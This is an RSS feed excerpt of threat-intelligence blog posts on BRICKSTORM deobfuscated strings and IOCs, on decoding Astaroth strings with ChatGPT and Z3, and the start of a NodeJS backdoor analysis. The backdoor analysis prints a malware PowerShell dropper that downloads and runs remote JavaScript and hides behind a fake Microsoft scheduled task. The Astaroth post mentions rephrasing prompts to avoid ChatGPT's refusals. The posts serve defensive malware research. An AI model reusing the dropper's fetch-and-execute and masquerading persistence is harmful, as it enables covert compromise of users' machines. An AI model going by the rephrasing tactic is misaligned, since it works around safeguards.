%s&#39;<br>Received a stateless reset with token %#x. Closing session.&#39;<br>Sending stateless reset to %s (connection ID: %s). Token: %#x&#39;<br>Error sending Stateless Reset: %s&#39;<br>an\&#39;t determine encryption level&#39;<br>unknown encryption level&#39;<br>unexpected encryption level: %s&#39;<br>PacketPacker BUG: packet too large (%d bytes, allowed %d bytes)&#39;<br>packetPacker BUG: Peeked and Popped packet numbers do not match&#39;<br>unknown packet type: %s&#39;<br>Packet too small. Expected at least 20 bytes after the header, got %d&#39;<br>BUG: readPosInFrame (%d) &gt; frame.DataLen (%d) in stream.Read&quot;<br>Read on stream %d canceled with error code %d&#39;<br>STREAM frames are handled with their respective streams.&#39;<br>unexpected encryption level: %s&#39;<br>sendQueue.Send would have blocked&#39;<br>numOutStandingFrames negative&#39;<br>close called for canceled stream %d&#39;<br>%s is not a valid QUIC version&#39;<br>Listening for %s connections on %s&quot;<br>server closed&#39;<br>Dropping packet from %s (%d bytes). Server receive queue full.&#39;<br>Dropping Version Negotiation packet.&#39;<br>Error parsing packet: %s&#39;<br>misrouted packet: %#v&#39;<br>Dropping a packet that is too small to be a valid Initial (%d bytes)&quot;<br>Dropping long header packet of type %s (%d bytes)&#39;<br>&lt;- Received Initial packet.&#39;<br>Error occurred handling initial packet: %s&#39;<br>too short connection ID&#39;<br>Error sending INVALID_TOKEN error: %s&#39;<br>Error sending Retry: %s&quot;<br>Error rejecting connection: %s&#39;<br>Changing connection ID to %s.&#39;<br>Changing connection ID to %s.&#39;<br>Client sent an invalid retry token. Sending INVALID_TOKEN to %s.&#39;<br>Client offered version %s, sending Version Negotiation&#39;<br>Error composing Version Negotiation: %s&#39;<br>Error sending Version Negotiation: %s&#39;<br>closing session in order to recreate it&quot;<br>Sending a keep-alive PING to keep the connection alive.&#39;<br>Connection %s closed.&#39;<br>error parsing packet: %s&#39;<br>Dropping packet with version %x. Expected %x.&#39;<br>coalesced packet has different destination connection ID: %s, expected %s&#39;<br>Parsed a coalesced packet. Part %d: %d bytes. Remaining: %d bytes.&quot;<br>Dropping %s packet (%d bytes) because we already dropped the keys.&#39;<br>Dropping %s packet (%d bytes) that could not be unpacked. Error: %s&quot;<br>&lt;- Reading packet %d (%d bytes) for connection %s, %s&quot;<br>Dropping (potentially) duplicate packet.&#39;<br>Ignoring Retry.&#39;<br>Ignoring Retry, since we already received a packet.&#39;<br>Ignoring Retry, since a Retry was already received.&#39;<br>gnoring spoofed Retry. Integrity Tag doesn\&#39;t match.&#39;<br>&lt;- Received Retry:&#39;<br>Switching destination connection ID to: %s&#39;<br>Error parsing Version Negotiation packet: %s&#39;<br>Received a Version Negotiation packet. Supported Versions: %s&#39;<br>No compatible QUIC version found.&#39;<br>Switching to QUIC version %s.&#39;<br>empty packet&quot;<br>Received first packet. Switching destination connection ID to: %s&#39;<br>unexpected PATH_RESPONSE frame&#39;<br>received a HANDSHAKE_DONE frame&#39;<br>DATAGRAM frame too large&quot;<br>Destroying session: %s&#39;<br>Destroying session with error: %s&#39;<br>Peer closed session with error: %s&#39;<br>Error sending CONNECTION_CLOSE: %s&#39;<br>Restoring Transport Parameters: %s&quot;<br>Processed Transport Parameters: %s&#39;<br>expected initial_source_connection_id to equal %s, is %s&#39;<br>expected original_destination_connection_id to equal %s, is %s&#39;<br>missing retry_source_connection_id&#39;<br>expected retry_source_connection_id to equal %s, is %s&quot;<br>received retry_source_connection_id, although no Retry was performed&#39;<br>session BUG: couldn&#39;t pack %s probe packet&quot;<br>session BUG: unspecified error type (msg: %s)&#39;<br>-&gt; Sending coalesced packet (%d parts, %d bytes) for connection %s&#39;<br>-&gt; Sending packet %d (%d bytes) for connection %s, %s&quot;<br>-&gt; Sending packet %d (%d bytes) for connection %s, %s&#39;<br>shouldn&#39;t queue undecryptable packets after handshake completion&quot;<br>Dropping undecryptable packet (%d bytes). Undecryptable packet queue full.&quot;<br>deadline exceeded&#39;<br>peer attempted to open receive stream %d&#39;<br>peer attempted to open send stream %d&#39;<br>tried to delete unknown incoming stream %d&#39;<br>tried to delete incoming stream %d multiple times&#39;<br>tried to delete unknown incoming stream %d&#39;<br>tried to delete incoming stream %d multiple times&#39;<br>peer attempted to open stream %d&#39;<br>tried to delete unknown outgoing stream %d&#39;<br>peer attempted to open stream %d&#39;<br>tried to delete unknown outgoing stream %d&#39;<br>RSA PRIVATE KEY&#39;<br>CERTIFICATE&#39;<br>1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&#39;<br>127.0.0.1:0&#39;<br>127.0.0.2:0&#39;<br>conn closed&#39;<br>conn closed&quot;<br>endpoint i/o timeout&#39;<br>UpdateConnState&quot;<br>implement me&#39;<br>6ba7b810-9dad-11d1-80b4-00c04fd430c8&#39;<br>6ba7b811-9dad-11d1-80b4-00c04fd430c8&quot;<br>6ba7b812-9dad-11d1-80b4-00c04fd430c8&#39;<br>6ba7b814-9dad-11d1-80b4-00c04fd430c8&#39;<br>invalid UUID (got %d bytes)&#39;<br>invalid UUID length: %d&#39;<br>urn:uuid:&#39;<br>invalid urn prefix: %q&#39;<br>invalid UUID format&#39;<br>invalid UUID format&#39;<br>invalid UUID format&quot;<br>read timeout&#39;<br>write timeout&#39;<br>unreachable&#39;<br>conn closed&#39;<br>TimeDeadline&#39;<br>already closed&#39;<br>127.0.0.2:&#39;<br>127.0.0.1:&#39;<br>not found %s&#39;<br>i/o deadline reached&#39;<br>stream closed&#39;<br>unexpected flag&#39;<br>remote end is not accepting connections&#39;<br>keepalive timeout&#39;<br>backlog must be positive&#39;<br>keep-alive interval must be positive&#39;<br>MaxStreamWindowSize must be larger than %d&#39;<br>both Logger and LogOutput may not be set, select one&#39;<br>one of Logger or LogOutput must be set, select one&#39;<br>unhandled state&#39;<br>[ERR] yamux: unexpected FIN flag in state %d&#39;<br>[ERR] yamux: Failed to read stream data: %v&#39;<br>[ERR] yamux: aborted stream open without inflight syn semaphore&#39;<br>[ERR] yamux: aborted stream open (destination=%s): %v&#39;<br>[ERR] yamux: keepalive failed: %v&#39;<br>[ERR] yamux: Failed to write header: %v&#39;<br>reset by peer&#39;<br>[ERR] yamux: Failed to read header: %v&quot;<br>[ERR] yamux: Invalid protocol version: %d&quot;<br>[WARN] yamux: Discarding data for stream: %d&#39;<br>[ERR] yamux: Failed to discard data: %v&#39;<br>[WARN] yamux: frame for missing stream: %v&#39;<br>[WARN] yamux: failed to send go away: %v&#39;<br>[WARN] yamux: failed to send go away: %v&#39;<br>[WARN] yamux: failed to send ping reply: %v&#39;<br>[ERR] yamux: received protocol error go away&#39;<br>yamux protocol error&#39;<br>[ERR] yamux: received internal error go away&quot;<br>remote yamux internal error&#39;<br>[ERR] yamux: received unexpected go away&quot;<br>unexpected go away received&#39;<br>[ERR] yamux: duplicate stream declared&quot;<br>[WARN] yamux: failed to send go away: %v&#39;<br>[WARN] yamux: backlog exceeded, forcing connection reset&#39;<br>[ERR] yamux: SYN tracking out of sync&#39;<br>Vsn:%d Type:%d Flags:%d StreamID:%d Length:%d&#39;<br>stream id overflows, should start a new connection&quot;<br>operation would block on IO&#39;<br>unsupported protocol version&#39;<br>keep-alive interval must be positive&#39;<br>keep-alive timeout must be larger than keep-alive interval&quot;<br>max frame size must be positive&#39;<br>max frame size must not be larger than 65535&#39;<br>max receive buffer must be positive&#39;<br>max stream buffer must be positive&#39;<br>max stream buffer must not be larger than max receive buffer&#39;<br>max stream buffer cannot be larger than 2147483647&quot;<br>allocator Put() incorrect buffer size&#39;<br>both channel are nil&#39;<br>ALL_PROXY&#39;<br>all_proxy&#39;<br>connection forbidden&#39;<br>network unreachable&#39;<br>TTL expired&#39;<br>command not supported&#39;<br>websocket: close sent&quot;<br>websocket: read limit exceeded&#39;<br>websocket: write timeout&#39;<br>websocket: bad write message type&#39;<br>websocket: write closed&quot;<br>websocket: invalid control frame&#39;<br>websocket: bad handshake&#39;<br>websocket: invalid compression negotiation&#39;<br>malformed ws or wss URL&#39;<br>websocket: internal error, unexpected bytes at end of flate stream&#39;<br>proxy: unknown scheme: &#39;<br>proxy: no support for SOCKS5 proxy connections of type &#39;<br>proxy: failed to parse port number: &#39;<br>proxy: port number out of range: &#39;<br>proxy: failed to write greeting to SOCKS5 proxy at &#39;<br>proxy: failed to read greeting from SOCKS5 proxy at &#39;<br>proxy: SOCKS5 proxy at &#39;<br> has unexpected version &#39;<br>proxy: SOCKS5 proxy at &#39;<br> requires authentication&#39;<br>proxy: failed to write authentication request to SOCKS5 proxy at &#39;<br>proxy: failed to read authentication reply from SOCKS5 proxy at &#39;<br>proxy: SOCKS5 proxy at &quot;<br> rejected username/password&#39;<br>proxy: destination host name too long: &#39;<br>proxy: failed to write connect request to SOCKS5 proxy at &quot;<br>proxy: failed to read connect reply from SOCKS5 proxy at &quot;<br>unknown error&#39;<br>proxy: SOCKS5 proxy at &#39;<br> failed to connect: &#39;<br>proxy: failed to read domain length from SOCKS5 proxy at &#39;<br>proxy: got unknown address type &#39;<br> from SOCKS5 proxy at &#39;<br>proxy: failed to read address from SOCKS5 proxy at &#39;<br>Sec-Websocket-Extensions&#39;<br>websocket: close &#39;<br> (normal)&#39;<br> (going away)&#39;<br> (protocol error)&#39;<br> (unsupported data)&quot;<br> (no status)&#39;<br> (abnormal closure)&quot;<br> (invalid payload data)&#39;<br> (policy violation)&#39;<br> (message too big)&#39;<br> (mandatory extension missing)&#39;<br> (internal server error)&#39;<br> (TLS handshake error)&#39;<br>websocket: internal error, extra used in client mode&#39;<br>concurrent write to websocket connection&quot;<br>concurrent write to websocket connection&#39;<br>unexpected reserved bits 0x&#39;<br>message start before final message frame&quot;<br>continuation after final message frame&#39;<br>unknown opcode &#39;<br>incorrect mask flag&quot;<br>invalid close code&#39;<br>invalid utf8 payload in close frame&#39;<br>websocket: &quot;<br>repeated read on failed websocket connection&#39;<br>websocket: internal error, unexpected text or binary in Reader&#39;<br>websocket&#39;<br>Connection&#39;<br>Sec-WebSocket-Key&#39;<br>Sec-WebSocket-Version&#39;<br>Sec-WebSocket-Protocol&#39;<br>Connection&#39;<br>Sec-Websocket-Key&#39;<br>Sec-Websocket-Version&#39;<br>Sec-Websocket-Extensions&#39;<br>Sec-Websocket-Protocol&#39;<br>websocket: duplicate header not allowed: &quot;<br>Sec-Websocket-Protocol&quot;<br>Sec-WebSocket-Protocol&#39;<br>Sec-WebSocket-Extensions&#39;<br>permessage-deflate; server_no_context_takeover; client_no_context_takeover&quot;<br>websocket&#39;<br>Connection&#39;<br>Sec-Websocket-Accept&quot;<br>permessage-deflate&#39;<br>Proxy-Authorization&#39;<br>socks connect&#39;<br>socks bind&#39;<br>succeeded&#39;<br>general SOCKS server failure&#39;<br>connection not allowed by ruleset&#39;<br>network unreachable&#39;<br>TTL expired&#39;<br>command not supported&#39;<br>nil context&#39;<br>nil context&#39;<br>network not implemented&#39;<br>command not implemented&#39;<br>username/password authentication failed&#39;<br>unsupported authentication method &#39;<br>too many authentication methods&#39;<br>unexpected protocol version &#39;<br>no acceptable authentication methods&quot;<br>unknown address type&#39;<br>FQDN too long&#39;<br>unexpected protocol version &#39;<br>unknown error &#39;<br>non-zero reserved field&#39;<br>unknown address type &#39;<br>ALL_PROXY&#39;<br>all_proxy&#39;<br>failed to dial: %s&#39;<br>User-Agent&#39;<br>User-Agent&#39;<br>failed to dial %s:%s, Err:%s&quot;<br>method is not allowed&#39;<br>no matching route was found&#39;<br>mux: duplicated route variable %q&#39;<br>mux: path must start with a slash, got %q&#39;<br>mux: missing name or pattern in %q&#39;<br>%s(?P&lt;%s&gt;%s)&#39;<br>mux: unbalanced braces in %q&#39;<br>mux: unbalanced braces in %q&#39;<br>nil pointer to error encoder&#39;<br>/WindowsDriver/&#39;<br>invalid range: failed to overlap&quot;<br>127.0.0.1:0&quot;<br>Content-Type&#39;<br>text/html; charset=utf-8&#39;<br>ailed: %s\n&quot;<br>uploadFile&quot;<br>ailed: %s\n&#39;<br>rror: %s\n&#39;<br>re&gt;up over\n%s sha256sum: %x\n&lt;/pre&gt;&#39;<br>&lt;a style=\&#39;text-decoration: none;\&#39; href=&quot;%s/&quot;&gt;%s&lt;/a&gt;&lt;/p&gt;\n&#39;<br>Error reading directory&#39;<br>Content-Type&quot;<br>text/html; charset=utf-8&#39;<br>style=\&#39;text-decoration: none;\&#39;  href=&quot;%s&quot;&gt;&lt;h5&gt;..&lt;/h5&gt;&lt;/a&gt;\n&#39;<br>a style=&#39;text-decoration: none;&#39;&gt;&lt;h5&gt;now at: %s&lt;/h5&gt;&lt;/a&gt;\n&quot;<br>otal %d\n&#39;<br>Content-Type&#39;<br>seeker can&#39;t seek&quot;<br>Content-Type&#39;<br>Content-Range&#39;<br>bytes */%d&#39;<br>Content-Range&#39;<br>Content-Type&#39;<br>multipart/byteranges; boundary=&quot;<br>Accept-Ranges&#39;<br>If-Unmodified-Since&quot;<br>If-None-Match&#39;<br>If-Modified-Since&#39;<br>Last-Modified&#39;<br>Content-Type&quot;<br>Content-Length&#39;<br>Last-Modified&quot;<br>/index.html&#39;<br>Last-Modified&#39;<br>404 page not found&#39;<br>403 Forbidden&#39;<br>bytes %d-%d/%d&#39;<br>Content-Range&#39;<br>Content-Type&#39;<br>invalid range&quot;<br>invalid range&#39;<br>invalid range&#39;<br>invalid range&quot;<br>invalid range&#39;<br>unsupported&#39;<br>/dev/ptmx&#39;<br>/dev/pts/&#39;<br>wss://natsupport[.]net/api&#39;<br>/opt/vmware/vpostgres/current/bin/pg_update&#39;<br>/usr/sbin&#39;<br>rpclistener&#39;<br>/usr/sbin/rpclistener&#39;<br>exit status 121&quot;<br>f\xff&#39;<br>(empty)&#39;<br>%x&#39;<br>Initial&#39;<br>0&#39;<br>1&#39;<br>Server&#39;<br>Client&#39;<br>Initial&#39;<br> &#39;<br> &#39;<br> &#39;<br>cpu.&quot;<br>\n&#39;<br>on&#39;<br>\n&#39;<br>\n&#39;<br>avx512&#39;<br>avx512f&quot;<br>bmi1&#39;<br>bmi2&#39;<br>erms&#39;<br>popcnt&#39;<br>rdrand&#39;<br>rdseed&quot;<br>sse3&#39;<br>)&#39;<br>*&#39;<br>.&#39;<br>derived&#39;<br>derived&#39;<br>.&#39;<br>derived&#39;<br>derived&#39;<br>tls13 &#39;<br>: &#39;<br>-&gt;&#39;<br>, &#39;<br>t%s %#v&quot;<br>ENOENT&#39;<br>ENOEXEC&#39;<br>ECHILD&#39;<br>EAGAIN&#39;<br>ENOMEM&#39;<br>EACCES&quot;<br>EFAULT&#39;<br>ENOTBLK&#39;<br>EEXIST&#39;<br>ENOTDIR&quot;<br>EISDIR&#39;<br>EINVAL&#39;<br>EMFILE&#39;<br>ENOTTY&#39;<br>ETXTBSY&#39;<br>ENOSPC&#39;<br>ESPIPE&#39;<br>EMLINK&#39;<br>EDOM&#39;<br>ERANGE&#39;<br>EDEADLK&#39;<br>ENOLCK&#39;<br>ENOSYS&#39;<br>ENOMSG&#39;<br>ECHRNG&#39;<br>EL3HLT&#39;<br>EL3RST&#39;<br>ELNRNG&#39;<br>EUNATCH&#39;<br>ENOCSI&#39;<br>ENOANO&quot;<br>EBADSLT&#39;<br>EBFONT&#39;<br>ENOSTR&#39;<br>ENODATA&#39;<br>ENONET&#39;<br>ENOPKG&#39;<br>EREMOTE&#39;<br>EADV&#39;<br>ESRMNT&quot;<br>EPROTO&#39;<br>EDOTDOT&#39;<br>EBADMSG&#39;<br>EREMCHG&#39;<br>ELIBACC&#39;<br>ELIBBAD&#39;<br>ELIBSCN&#39;<br>ELIBMAX&#39;<br>EILSEQ&#39;<br>EUSERS&#39;<br>ENOBUFS&#39;<br>EUCLEAN&#39;<br>ENOTNAM&#39;<br>ENAVAIL&#39;<br>EISNAM&#39;<br>ENOKEY&#39;<br>ERFKILL&#39;<br>SIGHUP&#39;<br>hangup&#39;<br>SIGINT&#39;<br>SIGQUIT&#39;<br>quit&#39;<br>SIGILL&#39;<br>SIGTRAP&#39;<br>SIGABRT&quot;<br>aborted&#39;<br>SIGBUS&#39;<br>SIGFPE&#39;<br>SIGKILL&#39;<br>killed&#39;<br>SIGUSR1&#39;<br>SIGSEGV&quot;<br>SIGUSR2&#39;<br>SIGPIPE&#39;<br>SIGALRM&quot;<br>SIGTERM&#39;<br>SIGCHLD&#39;<br>SIGCONT&#39;<br>SIGSTOP&#39;<br>stopped&#39;<br>SIGTTIN&#39;<br>SIGTTOU&#39;<br>SIGURG&#39;<br>SIGXCPU&#39;<br>SIGXFSZ&#39;<br>SIGPROF&#39;<br>SIGPWR&#39;<br>SIGSYS&#39;<br>solaris&#39;<br>netbsd&#39;<br>openbsd&#39;<br>/&#39;<br>recvmsg&#39;<br>android&#39;<br>illumos&#39;<br>windows&#39;<br>tcp6&#39;<br>udp6&#39;<br>/&#39;<br>/&#39;<br>read&#39;<br>none&#39;<br>quic hp&#39;<br>quic hp&#39;<br>tls13 &#39;<br>quic ku&#39;<br> &#39;<br> &#39;<br>server&#39;<br>init&#39;<br>suspend&#39;<br>none&#39;<br>null&#39;<br>server&#39;<br>cc|)&#39;<br>exit&#39;<br>Remove&#39;<br>closed&#39;<br>timeout&#39;<br>\xff&#39;<br>socks5&#39;<br>tcp4&#39;<br>: &#39;<br>: &#39;<br>: &#39;<br>: &#39;<br>: &#39;<br>: &#39;<br>: &#39;<br>: &#39;<br>&quot;&#39;<br>;&#39;<br>=&#39;<br>: &#39;<br>:&#39;<br>]&#39;<br>http&#39;<br>Upgrade&#39;<br>13&#39;<br>, &#39;<br>Host&#39;<br>Upgrade&#39;<br>upgrade&#39;<br>http&#39;<br>:&#39;<br>Basic &#39;<br>CONNECT&quot;<br> &#39;<br>socks &#39;<br>tcp4&#39;<br>Origin&#39;<br>smux&#39;<br>http&#39;<br>socks5&#39;<br>/&#39;<br>/&#39;<br>/&#39;<br>/&#39;<br>:&#39;<br>[/]?&#39;<br>=&#39;<br>:&#39;<br>=&#39;<br>=&#39;<br>&amp;;&#39;<br>v&#39;<br>/&#39;<br>/&#39;<br>/&#39;<br>&amp;&#39;<br>&amp;lt;&#39;<br>&gt;&#39;<br>&amp;gt;&#39;<br>&quot;&#39;<br>%v&#39;<br>%v&#39;<br>/&#39;<br>Post&#39;<br>/api&#39;<br>windows&#39;<br>/&#39;<br>/&#39;<br>pre&gt;\n&#39;<br>/&#39;<br>/pre&gt;\n&#39;<br>%.2fMB&#39;<br>%.2fGB&#39;<br>%.2fTB&#39;<br>%.2fEB&#39;<br>HEAD&#39;<br>W/&#39;<br>W/&#39;<br>W/&#39;<br>Etag&#39;<br>Etag&#39;<br>Etag&#39;<br>Etag&#39;<br>./&#39;<br>/&#39;<br>/&#39;<br>/&#39;<br>/&#39;<br>bytes=&#39;<br>,&#39;<br>-&#39;<br>nil EOF&#39;<br>/&#39;<br># &#39;<br> &#39;<br>exit&#39;<br>cd&#39;<br>n&#39;<br>nil EOF&#39;<br>/bin/sh&#39;<br>-c&#39;<br>nil EOF&#39;<br>ICMP&#39;<br>n&#39;<br> &#39;<br> &#39;<br>/&#39;<br>:&#39;<br>SETENV1&#39;<br>SETENV2&#39;<br>true&#39;<br>TERM&#39;<br>USER&#39;<br>PATH&#39;<br>TERM&#39;<br>USER&#39;<br>true&#39;<br>PATH&#39;</pre><h3>IOCs</h3><pre>wss://natsupport[.]net/api</pre><h3>References</h3><p>1: <a href="https://cloud.google.com/blog/topics/threat-intelligence/brickstorm-espionage-campaign">https://cloud.google.com/blog/topics/threat-intelligence/brickstorm-espionage-campaign</a></p><p>2: <a href="https://cloud.google.com/blog/topics/threat-intelligence/gostringungarbler-deobfuscating-strings-in-garbled-binaries">https://cloud.google.com/blog/topics/threat-intelligence/gostringungarbler-deobfuscating-strings-in-garbled-binaries</a></p><p>3: <a href="https://research.openanalysis.net/garble/go/obfuscation/strings/2023/08/03/garble.html">https://research.openanalysis.net/garble/go/obfuscation/strings/2023/08/03/garble.html</a></p><p>4: <a href="https://github.com/burrowers/garble">https://github.com/burrowers/garble</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b0a60828b3cc" width="1" height="1" alt=""><hr><p><a href="https://medium.com/walmartglobaltech/decoding-brickstorms-garble-strings-b0a60828b3cc">Decoding Brickstorms Garble strings</a> was originally published in <a href="https://medium.com/walmartglobaltech">Walmart Global Tech Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Utilizing ChatGPT for Decoding Astaroth Strings]]></title>
            <link>https://medium.com/walmartglobaltech/utilizing-chatgpt-for-decoding-astaroth-strings-80815e4dfefb?source=rss-36e34fe15919------2</link>
            <guid isPermaLink="false">https://medium.com/p/80815e4dfefb</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[chatgpt]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Jason Reaves]]></dc:creator>
            <pubDate>Mon, 24 Nov 2025 15:48:50 GMT</pubDate>
            <atom:updated>2025-11-24T15:48:50.289Z</atom:updated>
            <content:encoded><![CDATA[<p>By: Jason Reaves</p><p>In this blog I want to demonstrate a scenario that I run into occasionally as a Reverse Engineer. There are plenty of excellent write-ups on Astaroth from a technical perspective[1,2] so I decided to utilize existing analysis and leverage ChatGPT[5] for aiding in analysis of a binary sample.</p><p>The sample below was primarily leveraged to turn existing work into a script that leverages a SMT[6] to find the key for the string decoding instead of relying on recovering the key from the binary:</p><pre>d3737da15c3439efd0aecf0492573c81bb24d25c6ce510da6da048cee671e3d7</pre><p>It’s good when using others research to verify the same code patterns, in this case I used their work to quickly map out the relevant decrypt functions in the binary:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*R9VjvyGcd1TKougOIuamgQ.png" /></figure><p>Now I take the code from both blogs and use that info to combine them into a single function based primarily on the Acronis blog code:</p><pre>def decode(s):<br>    #decrypt<br>    key = b&quot;XYQMDOW8&quot;<br>    s = bytes.fromhex(s)<br>    out1 = b&quot;&quot;<br>    for i in range(1, len(s)):<br>        k = s[i - 1]<br>        b = s[i]<br>        a = b ^ key[(i - 1) % len(key)]<br>        if a &gt; k:<br>            a = a - k<br>        else:<br>            a = a + 255 - k<br>        out1 += bytes([a &amp; 0xff])<br><br>    #decrypt2<br>    out2 = b&quot;&quot;<br>    for c in out1[::-1]:<br>        c = ~(c - 0x0A) &amp; 0xFF<br>        out2 += bytes([c])<br><br>    #decrypt3<br>    key = out2[0] - 0x41<br>    out3 = b&quot;&quot;<br>    for i in range(1, len(out2), 2):<br>        c = out2[i + 1] - 0x41 + ((out2[i] - 0x41) * 25) - key - 0x64<br>        out3 += bytes([c &amp; 0xFF])<br><br>    return out3</pre><p>I noticed when questioning ChatGPT you have to be slightly cognizant of the phrasing else ChatGPT will get stuck in a cycle of complaining about cryptanalysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l-HKWdi0Okcj8PwGf7GD1g.png" /></figure><p>After inputting the code, ChatGPT expected the input and output mentioned previously:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZhfCtip50KY6Le-UzS6kuA.png" /></figure><p>Next it dumps out the code with the additional Z3 functionality:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QkKu1-XP9HZ7IAXkxZn6UQ.png" /></figure><p>Running the code out of the box gave an incorrect key:</p><pre> % python3 chatgpt.py <br>Z3 check: sat<br>Recovered key (raw bytes): b&#39;x9QMDOW8&#39;<br>Recovered key (ASCII): x9QMDOW8</pre><p>So, a character constraint is added based on known keys:</p><pre>allowed_vals = [ord(c) for c in &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&quot;]<br>charset_constraints = [Or([key[i] == v for v in allowed_vals]) for i in range(len(key))]<br>solver.add(charset_constraints)</pre><p>This gives us the correct key:</p><pre>% python3 chatgpt.py<br>Z3 check: sat<br>Recovered key (raw bytes): b&#39;XYQMDOW8&#39;<br>Recovered key (ASCII): XYQMDOW8</pre><p>In this blog[2] there is also listed more strings we can try that are using a different key so we can test further:</p><pre>decode((int)L&quot;87647C0D8B7C0AE3F2E8F0961FDF&quot;, &amp;JoeBox, a1, a2, a3);// JoeBox</pre><pre>s_hex = &quot;87647C0D8B7C0AE3F2E8F0961FDF&quot;<br>expected_out3 = b&quot;JoeBox&quot;<br><br>% python3 chatgpt.py<br>Z3 check: sat<br>Recovered key (raw bytes): b&#39;XY7F85HH&#39;<br>Recovered key (ASCII): XY7F85HH</pre><p>Close but let’s try a different string that is longer:</p><pre>s_hex = &quot;726B7210966F1AEFF99801F4F295602EB9D9C0B335C0B55C48A5&quot;<br>expected_out3 = b&quot;HookExplorer&quot;<br><br>% python3 chatgpt.py<br>Z3 check: sat<br>Recovered key (raw bytes): b&#39;XY7F852V&#39;<br>Recovered key (ASCII): XY7F852V</pre><p>That one produced the correct key so it looks like we would probably need two known strings to then test the produced key against or we just need to focus on specific length strings and loop through them looking for potential keys for other samples.</p><h3>References</h3><p>1: <a href="https://www.acronis.com/en/tru/posts/astaroth-unleashed/">https://www.acronis.com/en/tru/posts/astaroth-unleashed/</a></p><p>2: <a href="https://github.com/purplededa/Astaroth---Malware-Analysis-Report?tab=readme-ov-file">https://github.com/purplededa/Astaroth---Malware-Analysis-Report?tab=readme-ov-file</a></p><p>3: <a href="https://www.mcafee.com/blogs/other-blogs/mcafee-labs/astaroth-banking-trojan-abusing-github-for-resilience/">https://www.mcafee.com/blogs/other-blogs/mcafee-labs/astaroth-banking-trojan-abusing-github-for-resilience/</a></p><p>4: <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.astaroth">https://malpedia.caad.fkie.fraunhofer.de/details/win.astaroth</a></p><p>5: <a href="https://chatgpt.com/">https://chatgpt.com/</a></p><p>6: <a href="https://github.com/Z3Prover/z3">https://github.com/Z3Prover/z3</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=80815e4dfefb" width="1" height="1" alt=""><hr><p><a href="https://medium.com/walmartglobaltech/utilizing-chatgpt-for-decoding-astaroth-strings-80815e4dfefb">Utilizing ChatGPT for Decoding Astaroth Strings</a> was originally published in <a href="https://medium.com/walmartglobaltech">Walmart Global Tech Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NodeJS backdoors delivering proxyware and monetization schemes]]></title>
            <link>https://medium.com/walmartglobaltech/nodejs-backdoors-delivering-proxyware-and-monetization-schemes-1562917ed107?source=rss-36e34fe15919------2</link>
            <guid isPermaLink="false">https://medium.com/p/1562917ed107</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Jason Reaves]]></dc:creator>
            <pubDate>Mon, 22 Sep 2025 18:08:48 GMT</pubDate>
            <atom:updated>2025-09-22T18:08:48.410Z</atom:updated>
            <content:encoded><![CDATA[<p>By: Jason Reaves</p><p>The delivery of proxyware apps, the campaigns and the NodeJS malware we go through in this report has been talked about by researchers at AhnLab[2,3,4] who have been doing an excellent job of tracking the campaigns. Our aim then with this report is to expand a bit and show some more pieces of the chain such as the tasks and c2 communications while doing some pivoting attempts and during out investigation we found multiple proxyware apps linked to the distributiong including Infatica, Honeygain, earnFM and PacketLab.</p><p>EXE Loader:</p><p>5766b8c67ec6dafe346140debbe7d8190221ebbcd6e333ec062ed87ff4d07273</p><p>Inno setup:</p><pre>Inno Setup Setup Data (6.3.0)</pre><p>The installer script will drop a hardcoded powershell file and setup the creation of the nodejs folder that will be used later:</p><pre>\tp.ps1<br>{localappdata}\Microsoft SDKs\Nodejs</pre><p>Downloading the NodeJs package along with a script to detonate, detonation is then performed by setting up a scheduled task</p><pre>$nodeUrl = &quot;hxxps://nodejs[.]org/dist/v20.8.0/node-v20.8.0-win-x64.zip&quot;<br>$jsUrl = &quot;hxxps://filerit[.]com/n9ea882bfa.js&quot;<br>$nodePath = &quot;{localappdata}\Microsoft SDKs\Nodejs&quot;<br>if (-Not (Test-Path -Path &quot;$nodePath\node-v20.8.0-win-x64&quot;)){<br>    New-Item -ItemType Directory -Path &quot;$nodePath\node-v20.8.0-win-x64&quot; -Force<br>} else {<br>    Remove-Item &quot;$nodePath\node-v20.8.0-win-x64&quot; -Recurse -Force -ErrorAction SilentlyContinue<br>$ProgressPreference = &#39;SilentlyContinue&#39;<br>Invoke-WebRequest -Uri $nodeUrl -OutFile &quot;$nodePath\nodejs.zip&quot;<br>Expand-Archive -Path &quot;$nodePath\nodejs.zip&quot; -DestinationPath $nodePath<br>Remove-Item -Path &quot;$nodePath\nodejs.zip&quot;<br>$filename = [guid]::NewGuid()<br>Invoke-WebRequest -Uri $jsUrl -OutFile &quot;$nodePath\node-v20.8.0-win-x64\$filename.js&quot;<br>Rename-Item &quot;$nodePath\node-v20.8.0-win-x64\$filename.js&quot; &quot;$nodePath\node-v20.8.0-win-x64\$filename&quot;<br>attrib +h +s &quot;$nodePath\node-v20.8.0-win-x64&quot;<br>$exeTaskXml = @&quot;<br>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-16&quot;?&gt;<br>&lt;Task version=&quot;1.2&quot; xmlns=&quot;http://schemas.microsoft.com/windows/2004/02/mit/task&quot;&gt;<br>  &lt;RegistrationInfo&gt;<br>    &lt;Author&gt;Microsoft Corporation&lt;/Author&gt;<br>    &lt;Description&gt;Check Nodejs updates&lt;/Description&gt;<br>    &lt;URI&gt;\Microsoft\Windows\SDK\Nodejs Update&lt;/URI&gt;<br>  &lt;/RegistrationInfo&gt;<br>  